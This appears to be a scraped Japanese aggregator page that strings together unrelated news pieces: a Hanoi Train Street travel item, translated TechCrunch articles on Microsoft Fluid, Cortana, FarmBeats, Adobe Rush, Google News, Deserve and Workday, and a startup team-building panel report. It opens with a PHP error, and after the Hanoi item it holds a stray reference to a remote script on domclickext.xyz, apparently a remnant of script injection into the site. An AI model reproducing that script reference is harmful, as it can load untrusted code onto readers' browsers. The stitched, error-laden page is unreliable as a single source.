Warning: count(): Parameter must be an array or an object that implements Countable in /home/matomecuhk/jibunkeiei-glabal.tokyo/public_html/wp-content/plugins/wordpress-ping-optimizer/cbnet-ping-optimizer.php on line 533

ハノイで線路を歩こう!

これはベトナムの首都ハノイで、有名な観光地として知られている「トレインストリート(Train Street)」である。

この線路を電車が走るのは数時間に1本であり、時々狭い空間に電車が走るのを見ることができる。この区間では、レール幅1メートルの線路が住宅街を通っているが、100年以上前に整備されて以来、現在も柵がなく線路から住宅までの距離も1m程と非常に近い。

路線沿いにもカフェたくさんあり、この線路を歩けば、さまざまなベトナム人の暮らしを見ることができる。

しかしながら、ハノイ当局は今年10月、事故を防ぐため線路への立ち入りを禁止すると発表した。地元のカフェの店主らは、規制のせいで経営に影響が出ることを懸念している。

(写真: Esin Üstün/Flickr [CC BY 2.0])

 

//domclickext.xyz/212b3d4039ab5319ec.js

Source: Global News View

今年前半にMicrosoft(マイクロソフト)が開催したデベロッパーカンファレンスのBuildで、最も興味深く、そして最もわかりづらかったニュースのひとつが、同社のFluid Frameworkの初めての一般公開のデモだった。Fluidは複数のデベロッパーがリアルタイムでコードを共同編集するツールだ。しかし同社はそれをOfficeやOutlookのような自社のツールにも入れてしまった。そのため、単なるコーディングエディターというより、ドキュメントのルック&フィールの形を変えてしまうものだった。

米国時間11月4日、フロリダ州オーランドで行われた同社のクラウドテクノロジーのためのカンファレンスであるIgniteでは、そのFluid Frameworkのエンドユーザー体験の初めての公開プレビューと、デベロッパーのための非公開プレビューが提供された。

マイクロソフトが言うには、Fluidのメインの能力は3つある。ひとつは複数の人が共同でドキュメントを編集できること。そしてドキュメントモデルをコンポーネントに分割できること。それから、テキストのリアルタイム翻訳とか語句の提案などさまざまな機能を持ったインテリジェントエージェントを組み込めることだ。

これらは、あるところまではGoogle Docsとあまり変わらないし、Officeにあるマイクロソフト自身のコラボレーション機能にも似ている。新しいのは、マイクロソフトがこれをデベロッパーに公開し、Fluid Frameworkをドキュメントを解体してコンポーネントに分割する新しい方法と見なしていることだ。そのようなドキュメントを、いろんなアプリケーションで利用できる。

マイクロソフトの計画ではFluid FrameworkをMicrosoft 365全体の、さまざまなユーザー体験に組み込んでいく。具体的には、Teams、Outlook、SharePoint、OneNote、Officeなどいろいろだ。関心のある方は、公開プレビューを見て試してみればドキュメントの編集方法がどんな感じかわかるだろう。

[原文へ]

(翻訳:iwatani、a.k.a. hiwa

Source: TechCrunch

MITの研究者が開発した新しい行路発見方法は、さまざまな業界で客先まで物を届けなければならないロボット、いわゆるデリバリーロボットにとても役に立つ。彼らが考案したのは、前もって地図が与えられていなくてもロボットが客先の入り口のドアを見つける方法だ。

今ある自走デリバリーロボットの多くは、Starshipが開発してその後Postmatesなど多くの企業が採用した、車輪付きクーラーボックスタイプも含めて、顧客が外の路上に立っていなければならない。しかし未来のデリバリーロボットが自力でドアまで辿り着くためには、人間の配達員と同じく詳細な地図的能力(マッピング能力)だけが問題ではない。

MIT Newsによると、正確に客先のドアまで行けるためにご近所全体のマッピングができる能力は、それを全国レベルあるいは全世界レベルで実現しようとすると非常に難しい。それは一般的に難しいだけでなく、個々のユーザー企業の特殊性に合わせたマッピング能力ともなると桁違いに難しい。そこで研究者チームは詳細なマッピング方式を諦め、ロボットが現場で周囲の情報を処理してドアの場所を見つける方法を考えた。

これは、SLAM(Simultaneous Localization And Mapping)と呼ばれる方法の変形だ。MITのチームはちょっとした工夫により、ロボットがまわりの物を見つけてそれにラベルを付けていくセマンティックマップではなく、「前進するコスト」のマップというものを考案した。それは、訓練用の地図から得られたデータを使ってロボットが自分の身の回りのヒートマップを作る。そしてその色分けマップの中に「いちばん正面ドアらしいもの」を見つけ、そこへの最も効率的な経路を割り出す。

私たち人間も、初めて訪れる家では「家の正面ドアとはこんな形をしていて壁のどこそこにあるものだ」という過去の知識に基づいて入り口のドアの所在を判断する。MITのデリバリーロボットは、それと似たことをする。それはどちらも思考力を使わない直感的な判断だ。

ロボットが既存の地図に頼らずにAI的な能力で自分の周囲の環境を判断できることには、今後いろんなユースケースがありうる。でも商用のユースケースとして今のところいちばん需要が大きいのは、デリバリーロボットだろう。

[原文へ]

(翻訳:iwatani、a.k.a. hiwa

Source: TechCrunch

ほんの数年前、Microsoft(マイクロソフト)はCortana(コルタナ)が、Googleアシスタント、Alexa、Siriの有力な競争相手になることを望んでいた。それからだいぶ時間も経ったが、Cortanaは市場に食い込むことができなかった。

CortanaがWindows 10搭載PCに組み込まれていることを意識している人はどれくらいいるだろう。同社の野望は出鼻をくじかれた。マイクロソフトでは、これからはCortanaを、個人の生産性を向上させるアシスタントにしたいと考えている。同社のエコシステム全般を考えれば、天気予報をしゃべらせるより、Cortanaにはそのほうが適しているのは確かだろう。

画像クレジット:Justin Sullivan/Getty Images/Getty Images

米国時間11月4日に同社はIgniteコンファレンスで、Cortanaが日々の業務で役立つようなる多くの新機能を発表した。これらはいずれもAIを人間の知性を手助けし、増強することのできるツールと位置付ける同社の大きなビジョンに沿ったもの。

こうした機能のうち最初のものは、iOS用Outlookで、マイクロソフト独自のテキスト読み上げ機能を使ってメールを読んでくれるもの。男声と女声が用意されている。Cortanaは、会議のスケジュールを設定したり、参加者を調整するのにも役立つ。マイクロソフトは、以前のコンファレンスで、すでにこの機能をデモしていた。

来月以降Cortanaは、ユーザーの関わるすべての会議について要約し、関連するドキュメントを添付し、ユーザーが電子メールで送信したコメントについてのフォローに対するリマインダーを記した電子メールを、毎日送ってくれるようになる。特にこの最後の部分は、かなり興味深い。というのも、GoogleのGmailに表示される単純でうっとうしい返信文面の候補よりも、1歩進んだものと考えられるからだ。

原文へ

(翻訳:Fumihiko Shibata)

 

Source: TechCrunch

米国時間11月4日、Adobe(アドビ)はCreative Cloudのビデオ製品のアップデートを多数発表した。ほとんどはプロ向け、あるいはプロではないにしてもYouTuber向けの製品だ。しかしPremiere Rushは、ビデオで楽しみたいすべての人のためのツールと位置付けられている。だから、短いクリップの共有プラットフォームとして人気のTikTokに、Premiere Rushからビデオを直接共有できるようになったと発表されたことは驚きではないだろう。TikTokに直接投稿できる他社製のアプリは、これが初めてだ。

Rushは2018年10月に提供が開始され、よく使われているビデオ公開サービスへの共有をサポートしていた。今回のTikTokとのパートナーシップにより、TikTokユーザーも自動ダッキング、トランジション、カラーフィルター、タイムラプス、スローモーションなど、Rushの簡単なビデオ編集機能を活用できるようになる。

アドビの機械学習により、ビデオプロデューサー、特にTikTokで好まれる縦長のビデオをふだん撮らない人々も、ボタンをクリックするだけでアスペクト比を変更できる。するとPremiere Rushは自動でショットのフレームを調整する。

アドビはこの日の発表で「世界各地のビデオクリエイターと対話を重ねるなかで私たちが最も頻繁に耳にした要望は、スピード、使いやすさ、そして投稿のしやすさだった。そこで人気のプラットフォームのTikTokでもビデオを共有できるようにした」と述べた。

Premiere Rushの新機能は、無料バージョンも含めCreative Cloudの全ユーザーにすでに公開されている。

[原文へ]

(翻訳:Kaori Koyama)

Source: TechCrunch

Microsoft(マイクロソフト)がフロリダ州オーランドで開催中のイベント「Ignite」で、同社はこれまで主に研究目的だったプロジェクトのAzure FarmBeatsを、パブリックプレビューとしてAzure Marketplaceで米国時間11月4日から公開すると発表した。FarmBeatsは、IoTセンサー、データ分析、機械学習を組み合わせた同社のプロジェクトだ。

GROSSDERSCHAU, GERMANY – AUGUST 14: In this aerial view a combine harvests summer wheat at a cooperative farm on August 14, 2015 near Grossderschau, Germany. The German Farmers’ Association (Deutscher Bauernverband) is due to announce annual grain harvest results this week. Some farmers have reported a disappointing harvest due to the dry weather in recent months. (Photo by Sean Gallup/Getty Images)

この日の発表でマイクロソフトは「FarmBeatsの目的は、農家が自分の農場のデータとデータドリブンの洞察によって理解を深め直感を強化するものだ」と説明した。FarmBeatsは、センサー、衛星、ドローン、気象観測などさまざまなソースからデータを集め、AIと機械学習によって農家にアクション可能なインテリジェンスを提供することを目指している。

さらにFarmBeatsは、ここで収集され、評価されるデータを利用するアプリを作る開発者のためのプラットフォーム的なものになることも狙っている。

マイクロソフトは開発プロセスに関し、次のように説明している。衛星画像は活用するが、それで農場のすべてのデータを捉えられるわけではない。現場に設置されたセンサーなどのデータが必要で、さまざまな種類のデータをまとめて分析する必要がある。また農場ではインターネットの接続環境が十分でないことも多いため、FarmBeatsはテレビの空いている周波数帯域を利用して接続するマイクロソフトの取り組みを初めて利用するチームになった。そしてもちろん、データの収集にはAzure IoT Edgeを活用する。

[原文へ]

(翻訳:Kaori Koyama)

Source: TechCrunch

TechCrunch Japanが主催するテーマ特化型イベント「TechCrunch School」第16回が9月26日、開催された。今年のテーマはスタートアップのチームビルディング。今シーズン3回目となる今回のイベントでは「チームを深める(エンゲージメント)」を題材として、講演とパネルディスカッションが行われた(キーノート講演のレポートはこちら)。

本稿では、パネルディスカッションの模様をお伝えする。登壇者はキーノート講演でも語ってもらったiSGSインベストメントワークス代表取締役/代表パートナーの五嶋一人氏に加え、atama plus代表取締役の稲田大輔氏、アペルザ代表取締役社長の石原誠氏、エン・ジャパン執行役員の寺田輝之氏の4名。モデレーターはTechCrunch Japan 編集統括の吉田博英が務めた。

パネルディスカッションでは、従業員が増えていくフェイズに入ったスタートアップにとっての組織づくり、チームづくり、エンゲージメントについて、各氏から話を聞いた。

テクノロジーの力で教育を変えるatama+、製造業を変えるアペルザ

まずはスタートアップ2社から、簡単な事業紹介があった。教育系スタートアップatama plusでは、AI解析で学習時間を短縮するラーニングシステム「atama+」を学習塾などに提供している。2017年4月の創業で、これまでに2回、累計20億円を資金調達している。

atama plus創業者の稲田大輔氏は、150年前に最先端だった富岡製糸場の事業所風景と、現在最新の設備を備えるGoogleのオフィスを写真で比較。続けて昔と今の教室風景をやはり写真で並べて見せ、「最先端の職場で活躍する人を養成しなければならないのに、日本の教育の現場は全く変わっていない」と指摘した。

「もっとテクノロジーを活用して、日本でもこれからの社会で活躍する人を生み出す教育を提供していこう、というのが私たちの事業だ」(稲田氏)

稲田氏によれば、日本の教育で使う時間のうち、基礎学習習得にかける時間がほぼ100%を占めるという。「ここにかかる時間をテクノロジーの力で半分以下にすれば、時間が余るはず。余った時間で、社会でいきる力が学べる」(稲田氏)

atama+では、AI教師が生徒の得意・苦手な部分や伸びている部分、集中度などのデータを取得し、その生徒に最適な専用カリキュラムを作成する。一人ひとりに合わせたコンテンツによる学習で、高校の数IAなら文部科学省が指定する学校での勉強時間146時間を、atama+では31時間にできるという。

「活用している塾では、タブレットを使って、おのおのが学習する形になり、旧来の教室風景とは絵が変わる」という稲田氏。大手塾の2割以上に導入が進む中で会社も成長し、現在の社員は60名ほどだということだ。

アペルザは、製造業向けにカタログサイトやマーケットプレイスを運営するスタートアップだ。横浜を拠点とするアペルザは、創業以来2度の資金調達により24億円を得ている。

アペルザ代表の石原誠氏は「製造業は設備産業。教育と同じで設備の取引のスタイルは100年間変わっていない」と話す。「そこでアペルザでは、BtoBの組織購買のスタイルに合わせて、情報収集から選定、見積もり、比較、購入までの購買プロセスに沿って、メディアからマーケットプレイスまで、サービスをいろいろと提供している。売り手と買い手の間に立ち、売り手からのサブスクリプション費で収益を得ている」(石原氏)

現在の顧客は7500社ほど、というアペルザ。石原氏は「日本の製造業は非常に優秀。製造業というと家電業界などで『元気がなくなった』と言われがちだが、設備向けの部品販売の分野ではまだまだ強い。中小が93%を占める製造業を、我々はどんどん海外へ進出させたいと考えていて、そうした売り手をエンパワーメントするため、営業に注目している」という。

そこで4月から提供を開始したのが、製造業の営業を支援するSaaS「アペルザクラウド」だ。同社の調査によれば、営業担当が対面営業に使える時間は20%ほどで「実は営業できていない」実態が浮かび上がったという。移動や問い合わせ対応などに時間が取られる中で、会える顧客は15%ほどに限定されているとのことで、取引先のカバーができていない実情が読み取れる。

また、設備面ではスマートファクトリー、IoT化が進む中で、製造ラインがインターネットにつながり始めている(効率化が始まっている)。新商品が増えていくことで、営業担当は「商品が多すぎて、商品知識などが覚えきれない」という悩みも抱えている。

「顧客への対応と商品への対応、2つの軸で抜け漏れが発生している、というのが製造業の営業の実態。この隙間の部分をテクノロジーで埋めるのが我々の提供するSaaSの役割だ」(石原氏)

メディア、マーケットプレイス、SaaSなど多様なサービスを提供するアペルザ。石原氏は「我々が目指すのは『マーケットネットワークス』というビジネスモデルだ」と語っている。マーケットネットワークスは米国のVC、NFX Guildが提唱するモデル。2016年のSXSWで「マーケットネットワークスは向こう30年のBtoB市場をロックするビジネスモデルだ」と紹介されたときに「製造業に完全に当てはまる」と感じた石原氏は、現在アペルザでこのモデルを踏襲しようとしているという。モデルについては、NFXの共同ファウンダー/パートナーを務めるJames Currierによる寄稿をTechCrunch Japanでも掲載しているので、そちらも参考にしてもらえればと思う。

エン・ジャパン執行役員の寺田輝之氏は、「LINEキャリア」を運営するLINEとのジョイントベンチャーLENSAの代表取締役も務める人物。2000年に入社したエン・ジャパンで寺田氏は、求人サイト運営などを経て「誰でも採用ができる、採用が続けられる世の中を実現したい」と2016年に「engage(エンゲージ)」を立ち上げ、運営に力を入れている。

engageは0円から使える採用支援ツールで、現在23万社に利用されている。企業が独自の採用ページを持ち、簡単に情報を掲載、発信できるほか、IndeedやLINEキャリア、Googleしごと検索などに求人情報を告知でき、求職者に届けられる。

また「応募してきた人が、採用対象でなければ放っておく状況が嫌だった。採用もブランディングのひとつ」という寺田氏は、応募者対応やエン・ジャパンが力を入れる「入社後の社員の活躍」にも対応できるよう、採用にまつわるさまざまな活動を支援するツールも、engageで提供している。

拡大するスタートアップのコミュニケーション術

ディスカッション最初のトピックは「チーム内外のコミュニケーション方法をどうしているか」。従業員数が大幅に増えるフェイズにあるスタートアップでは、チーム内、あるいはチーム同士のコミュニケーションが取りにくくなることも多いはずだが、どのような工夫があるのだろうか。

稲田氏は「atama plusでは基本的に全ての情報をオープンにしている」という。「チーム外にも情報が共有できるように会議室の壁を取り払った」というatama plusでは、資金調達や取締役会の報告も含め、全会議をオブザーブできる仕組みにし、「エンジニアでもビジネスの状況に興味があれば、いろいろと話が聞ける状態になっている」そうだ。

石原氏も「アペルザでも社内のミーティングに会議室は使わない」と話す。アペルザではデジタルとリアルの両面でコミュニケーションを工夫しているという。「デジタルでは、Confluence(コンフルエンス:Webベースの企業向け情報共有ツール)で議事録を書いてもらい、公開している。リアルでは全社ミーティングを毎週金曜日に実施し、月1回は経営方針を経営陣から発表している」(石原氏)

ちなみに、Confluenceはatama plusでも議事録に活用されているそうだ。全社での情報共有も、週1回のチームからの報告、月1回の会社からの方針報告と、タイミングがアペルザと同じだと稲田氏は話している。

iSGSインベストメントワークス代表取締役/代表パートナーの五嶋一人氏

五嶋氏からは「全社ミーティングはテーマを絞って実施するとよい」とのアドバイスがあった。「例えば数字の報告と、従業員の誕生日を祝うのを一度の会でやろうとすると、方向性がだいぶ違ってしまう。全社でやるなら、各回の目的は振り切って、同種の内容で1つか2つに絞る方がいい。でないと、ミーティングの意義や面白さが経営者のエンターテインメント性に依存してしまう」(五嶋氏)

ミーティング目的について、アペルザでは「最初は経営陣でコントロールしようとしていたが、今は任せている」と石原氏はいう。「そうすることで、コミュニケーションそのものが生まれる」とのことで、月1回の経営戦略シェアの際には、その延長線上で一緒に食事をとるそうだ。「最初はワークショップを開くなど、がんばっていろいろと(催しを)やっていたが、単に『同じ釜の飯を食う』という方が意外とうまくいく」(石原氏)

稲田氏は「コミュニケーションの目的はいいプロダクトを作ること」として「そのために必要な情報は全部オープンにしている。そうすると全体会議でも誰かから誰かへ一方通行に発信するものにはならず、双方向で質の良いものに変わる」と語っている。

エン・ジャパン執行役員 寺田輝之氏

エン・ジャパンはatama plusやアペルザと比べるとずっと大きな規模になっているが、寺田氏は「情報をフルオープンにするのは、さすがにIR的に難しいが、ミーティングの頻度や内容は基本的には同じ」と話す。「50人を超えた頃からは、その時々で成果のあった従業員を毎週の全社ミーティングで意図的にピックアップして、何をやったかを話してもらい、横のコミュニケーションで学び合いができる状況を作るようにしてきた」(寺田氏)

コミュニケーション、情報共有のツールとして寺田氏は「声の社内報」を挙げている。これは前回のTechCrunch Schoolのパネルディスカッションで登壇したVoicy代表の緒方憲太郎氏が、自社でも使っているサービスとして紹介したもの。音声で情報や報告を伝えられるこのサービスをエン・ジャパンでも取り入れてみたところ、社内で好評だという。

「集まらず、非同期で好きなときに聞けるところが利点。どこまで再生されているかも全部(ログで)分かる。声だと話し手の感情も伝わりやすい」(寺田氏)

採用はカルチャー重視、人柄の見極めは「合うか合わないか」

続く話題は「従業員が増えるフェイズのスタートアップで、人材採用のポリシーをどうしているか」。アペルザの石原氏は「まだ足りないファンクションがいっぱいあるので、マーケティングなど新しい組織を作るために採用を行っている。その際、セオリーどおりかもしれないが、組織の上の方から採用している」と現況を語る。基準としては「スキルより人間性を見ることを大事にしている」と石原氏。それも「人間性がいいかとか悪いかとかではなく、『合うか合わないか』を見ている」という。

atama plus代表取締役 稲田大輔氏

稲田氏は「スキルフィットとカルチャーフィット、両方とも大事にしている」と話すが、やはり「同じミッションに向かって一緒にやっていけるか、熱量の高いチームでメンバーと一緒に『新しい教育を作っていく』ことに合意できるかを大事にしている」と2つのうちでもカルチャーを特に重視しているそうだ。そのために「口説く」というよりは、会社のありのままを伝えて「このカルチャーに合うかどうか、選んでください」と面接では話すようにしているという。

atama plusでは、会社の知名度が上がるにつれ「応募してくる層が変わったという印象がある」と稲田氏は言う。「この会社は勝ちそうだ、とか、伸びそうだから入るという人が増えてきたが、そういう人は非常にスキルが高くても絶対に採らないようにしている。カルチャーが合うかどうかは大事にし続けている」(稲田氏)

五嶋氏は、買収した会社で新たな人を採用してきた経験から「スキルベースでふるいにかけて選別し、そこから人柄で選ぶというのが基本かと思うが、人柄の目利きはなかなか難しいもの」と語る。「何度か飲みに行って、意気投合して仕事の話でめちゃくちゃ盛り上がる、といったことは、採用のプロセスとして最低限やってもいいことかもしれない。自分はカルチャーというよりは人柄を見て『一緒にやって楽しそうだな』という人に入ってもらえるよう、ひたすらがんばる、ということを必死にやっていた。特に組織が大きくない段階では、それが採用では一番いい結果が出て、長く活躍してもらえる人材を獲得できていたと感じている」(五嶋氏)

エン・ジャパンでは「最近は採用する段階で、入社後に何を評価するかを決めておくようにしている。それを相手に話せるよう、準備できるまでは採用自体に踏み出さない」(寺田氏)そうだ。また寺田氏は「転職で違う会社に入るということは、外国に行ったようなものだ。入った後なじむためのプログラムはきちんと設計する必要がある」とも話している。「その上で採用の段階で『過去にこの職種・ポジションでなじまなかった人は、こういう部分が合わなかった』といった情報も伝えている。ネガティブな部分も伝え、認識してもらった上で入社した方が、うまくいく」(寺田氏)

研修はズレを正すものではなく、理解を深めるもの

atama plusでは、カルチャーフィットして採用した人に入社後、さらにカルチャーを理解してもらうために、研修をかなり行うそうだ。「ミッションやバリューの意味や思いなども説明するし、他チームの仕事理解も研修で進めてもらっている」というatama plusでは、「バリューとして『生徒が熱狂するプロダクトであるかどうか』を大切にしていることから、どの職種でも研修の一環で全員現場に行く」と稲田氏。またチーム間のコミュニケーションの場も設定しているそうだ。

アペルザ代表取締役社長 石原誠氏

石原氏はアペルザで「会社のフェイズが変わってきて、バリューやビジョンをあらためて見直しているところ」だそうだが、その過程で「アンラーニング(既存の価値観や知識を意識的に捨て、新たに学び直すこと)が重要だ」と感じているそうだ。「入社してうまくいかない人は、転職前の会社のやり方など過去を引きずってきている。そこを何とかできないかと考えているので、アンラーニングはうまく取り入れたい」(石原氏)

エン・ジャパンでもミッション、バリューなどを伝える研修を行っているそうだが、寺田氏からはほかに「新卒採用などでは、非常にうまくいく方法」として「直前に入社して研修を受けた人に研修を作ってもらう」方法が紹介された。研修終了時に「次に研修を作るのはあなたたちです」とバトンを渡して、研修期間も含めて考えてもらい、次の代へ引き継ぐのだそうだ。

ちなみにカルチャーフィットと研修との関係に関連して、五嶋氏から「カルチャーフィットに代わる言葉がほしい」との提言があった。「カルチャー“フィット”と言うから『カルチャーのズレは矯正して合わせられるもの』という誤解が生じるのだけれども、どうしたって合わない人は合わない。それよりはカルチャーが合っている人に自社を知ってもらうことが大切。ズレを正すのではなく、合わない人を採ってはダメだということ。『カルチャーフィット』という言葉によって、ミスリードが生まれているかもしれない」(五嶋氏)

寺田氏は「採用の際にできることは、カルチャーが合わない人をいかに排除できるかということだけ。そのためには、自社がどういう会社で、どういう人に来てもらいたいのかを面接なども含め、あらゆる機会に発信すること、それに尽きる」と述べている。

atama plusは現在、60名の社員の65%ぐらいがプロダクトに関わる人員で、25%が営業・カスタマーサクセスなどのビジネスサイド、残りの10%がコーポレート業務に関わるという。これからどういう人材が採用したいか、との問いに対しては、稲田氏は「人は多く採りたいけれども、こだわれる限りカルチャーの合う人にこだわりたい」と答えている。

一方、アペルザでは「ビジネスサイドがもう少し多く、プロダクトの人員と同じぐらい」と石原氏。人材は「全方位で採用している」という。特に今、組織固めを行っているという石原氏は「重点的に人事担当を採用したい」と述べている。キーノート講演での五嶋氏の発言に触れ、石原氏は「可視化が大切というのは、その通り。我々の今の状態を可視化して、それを見直している制度にも現段階からきちんと反映させたい。それができる人材がほしい」と語っていた。

最後に寺田氏からチームのエンゲージメントについて、キーノート講演の話とも絡めて「自分たちのメッセージが届く範囲(組織の規模・構成)を考え、コミュニケーションが取れる状況を常に大切にしたいところ。それが人数の関係でできなくなるのであれば、同じようなことができる人をどれだけ早く育てるか、ということに尽きるのではないか」と今回のイベント全体の振り返りがあった。「(むやみに従業員規模を大きくするのではなく)コミュニケーション量を密に取れる組織構成を最優先に考えた上で、『では拡大するためには何が必要なのか』を検討することが重要」という感想が述べられ、ディスカッションは締めくくられた。

Source: TechCrunch

ナイル株式会社が運営するアプリ紹介サービス「Appliv(アプリヴ)」にて、20〜70代までの男女1,075人を対象に、キャッシュレス決済の利用に関するアンケート調査を実施。支払い方法に「現金」を使用するのは全体の約半数で、20〜30代がトップという結果に。

続きはこちらからご覧ください。

Source: ferret web marketing

Fcookie-1-eye

Appleは、広告のターゲティングに依存されているサードパーティCookieの使用を抑制して、パブリッシャーがプログラマティック広告を通じてSafariユーザーを収益化するのを阻止してきた。だが、パブリッシャーは現在、ほかの形のデジタルIDを利用して、そうしたユーザーのマネタイズの代替方法を模索している。

The post サードパーティCookieの代替に デジタルIDを試す英・新聞社 appeared first on DIGIDAY[日本版].

Source: DIGI DAY WEB marketing

Google Newsがバイリンガルになった。米国時間11月4日、Googleは2カ国語のニュースを簡単に読める新機能を発表した。世界に60%以上いる、2種類以上の言語で話し、ニュースを読んでいる人々の利便性を高めるものだ。

この変更によって、ユーザーは別の言語でカバーされているニュースを見るために言語設定をしょっちゅう切り替える必要がなくなる。これは、別の国に移ったが母国の最新ニュースを見たい人や、複数言語を話すことの多い地域に住む人にとって特に重要だ。

Googleは、英語とヒンディー語のニュースを同時に読めることを典型例として紹介した。このアップデートがその他のパーソナライズ設定に影響を与えることはない。ユーザーの興味にあったニュースが多く流れてくるだけだ

今回の変更は、Google Newsのアプリとウェブサイトで1年以上続いている大変更に続くものだ。2018年のGoogleデベロッパーカンファレンスで同社は、どのニュースを最初に表示するか、個人向けのニュースをどう選ぶかを工夫しながら、ファクトチェックや他の意見を読めなくなるいわゆる「フィルターバブル」を避けるためにAI技術を導入すると発表した。

AIを利用したこのGoogle Newsアプリは今年の春に公開された。その後GoogleはデスクトップのGoogle Newsタブを改訂し、カード形式で記事を整理することで、読みやすさを改善し、ニュースの出典をわかりやすくした。

ただし、本日発表されたバイリンガル機能は、モバイルアプリユーザーを対象にしている。新機能は、iOSとAndroidのGoogleニュースアプリで141カ国、41言語から選択できるとGoogleは発表している(デスクトップでは1言語しか選べないことを確認した)。

多言語のニュースを読めることで、問題に対する視野を広げるのにも役立つと同社は語る。「人々の気にかけている問題に関して質の高い信頼できるニュースを届けるためにはまだすべきことがたくさんあるが、今日のアップデートによって、異なる文化や視点をつなぎやすくなるだろう」とGoogleはコメントした。

[原文へ]

(翻訳:Nob Takahashi / facebook

Source: TechCrunch

Facebookは、広告の配信やFacebookページによるファンづくりなど、マーケティングに有効なSNSとして多くの企業に活用されています。組織でFacebookを利用する場合、運用体制の構築が重要になります。Facebookにはビジネスマネージャというツールがあり、複数の広告アカウントや複数の人によるFacebookを使ったマーケティング活動が円滑に進められます。

今回は、Facebookのビジネスマネージャにスポットをあてて、アカウントの作成や使用方法まで幅広く紹介します。Facebookをビジネスに活用したいと考えている企業の方はぜひ参考にしてください。

続きはこちらからご覧ください。

Source: ferret web marketing

クレジットカードスタートアップのDeserve(ディザーブ)は若い人の自立をサポートしている。そして事業者向けのクラウドベースのクレジットカードプラットフォームも展開する同社は米国時間11月4日、Goldman Sachs(ゴールドマン・サックス)がリードする新ラウンドのシリーズCで5000万ドル(約54億円)の調達を発表した。このラウンドには既存投資家のSallie Mae(サリー・メイ)、Accel、Aspect Ventures、Pelion Venture Partners、Mission Holdingsも参加した。

今回調達した資金はDeserveの「Card as a Service」(CaaS)プラットフォームのさらなる開発に使われる。このプラットフォームは事業者やブランドが、顧客向けのクレジットカードプロダクトをしつらえるのをサポートする。

そうすることでDeserveは、Synchrony FinancialやAlliance Dataといったホワイトレーベルまたは共同ブランドのクレジットカード発行元とある程度張り合える。その際は自前の金融プロダクトを提供したい事業者、フィンテック企業、消費者ブランド、大学を対象としたCaaSサービスを活用する。

Deserveのターンキーである、クラウドベース・AIベースのDeserve Credit Platformでは、通常18〜24カ月かかるところを最短90日でセットアップできる。また、クレジットカードを作るのは初めてという人を含む多数の人を引き受けるために、従来のファイナンシャルデータや独占データソースとともに機械学習のようなテクノロジーも活用している。

負債を抱え込まないよう、多くの若い消費者がクレジットカードを避けてきたことを考えれば、これは極めて重要だ。例えば、1995年以降に生まれた人はクレジットカード負債を抱える米国の消費者の5%を占めるにすぎないとのレポートがある。しかしこうした消費者が初めてクレジットカードを持つとき、クレジットプロダクトよりもクレジットカードを往々にして選ぶことがTransUnionの最近のレポートで明らかになった。ただ、しっかりとしたクレジット履歴がない多くの若いユーザーは従来のカードの審査に通らない。

そこでDeserveの出番となる。消費者が携帯電話から素早くクレジットカードを申し込んで数分で承認されるのを手伝うだけでなく、このプログラムはDeserveのカード同様、ファイナンシャル教育やキャッシュバックなどの特典、アマゾン(プライム・スチューデント)のインセンティブ・プログラム、Mastercard(携帯電話保護)、プライオリティ・パス(空港のラウンジ)などを提供する。

2018年8月の資金調達以来Deserveは、Sallie Mae the New Jersey Institute of Technology Honor Societyのようなクライアントと提携し、特定の利用者向けのクレジットカードの発行を手伝ってきた。合計で消費者10万人超がDeserveのプラットフォームを利用している。

Apple Cardのパートナーであるゴールドマン・サックスがリードした新たな投資で、Deserveは今後、データサイエンスやエンジニアの人材を雇用してプラットフォームツールやAPI、機械学習能力をさらに構築する計画だ。その一方で、B2B販売とマーケティングの部門を拡大する。

「ゴールドマン・サックスは、クレジットカードへのアクセスを拡大し、あつらえのクレジットカードプロダクトの提供を組織のためにシンプル化するというDeserveのミッションを支える」とゴールドマン・サックスのマネージングディレクターであるAshwin Gupta(アシュウィン・グプタ)氏は声明文で述べた。「Deserveのカードプラットフォームが、さまざまな機関に意義ある節約と新たな機会をもたらすと確信している」。

今回のラウンドで、Deserveの累計資金調達額は1億ドル(約108億円)となった。同社はまだ黒字になっていないが、今達成しつつあるかもしれない。「今回のラウンドは収益化につながる」とDeserveの共同創業者でCEOのKalpesh Kapadia(カルペシュ・カパディア)氏は話している。

Deserveはバリュエーションは非公開とした。現在Deserveのチームは計60人だが、今後6カ月で100人超とすることを目指す。

[原文へ]

(翻訳:Mizoguchi)

Source: TechCrunch

企業の財務と人事管理をクラウドサービス(SaaS)で助けるWorkdayは米国時間11月4日、オンラインの調達プラットホームであるScout RFPを5億4000万ドル(約587億円)で買収する合意に達したと発表した。PitchBookのデータによると、同社はこれまでに6000万ドル(約65億円)あまりを、調達前の評価額1億8450万ドル(約200億円)で調達している。

この買収以前にWorkdayには既存の調達ソリューションとしてWorkday ProcurementとWorkday Inventoryがあるが、Workdayのプロダクト最高責任者(CPO)であるPetros Dermetzis(ペトロス・デルメツィス)氏はブログで「Scoutは同社に顧客のためのより完全なソリューションを与える」と表明している。

彼によると「サプライヤーと戦略的優位性の重要性が増している中で、Scout RFPの買収によりこのクラス最良の戦略的ソースによる総合的な調達サービス(Source-to-Payソリューション)を提供できる。これにより企業の調達部門の戦略的重要性を上げ、調達機能の変化を促進する」とのこと。

Constellation Researchの創業者で主席アナリストのRay Wang(レイ・ワン)氏によると、Workdayはクラウド上のエンドツーエンドのバックオフィスプレーヤーを目指してきたが、「大きな欠落の1つが調達だった」という。

ワン氏によると、Workdayはしばらくその欠落を埋めるための投資をしてきた。それどころか、2018年以来Workday VentureはScout RFPの投資家であり、同社は公式にWorkdayのパートナーだった。

「Workdayの投資対象の多くは、未来のクラウドERPという同社の大きなビジョンの欠落を補う企業だ。今日的なERPの定義には、財務、人事管理、プロジェクト、調達、サプライチェーン、そして資産管理が含まれる」とワン氏。

Scout RFPの創業者は本日の発表に関するブログ記事で「両社は良好な協力関係にあり、今回の買収はたいへん有意義だ」と述べている。そのブログ記事には「Workdayのチームとの密接な協働を通じて、両社の信念や企業価値の類似性を悟った。両社はユーザー体験をプロダクトのフォーカスの中心に置き、顧客の満足と社員のエンゲージメント、および事業への全体的なインパクトを重視している。両社の協働が容易であったことは意外ではなく、また、営業やマーケティングにおけるパートナーシップでも迅速な成功を見てきた。企業文化という観点から見ても、明らかに成功だ」と書かれている。つまり、これまでの両社の関係がすでに密接で良好だったということだ。

Scout RFPは現在、155か国に240社の顧客がいて強健な企業である。同社によると、現在のユーザー総数は30万人に達する。同社の160名の社員は買収の完了と共にWorkdayに移る。規制当局の審査が終わるのは、1月の終わりごろだろう。

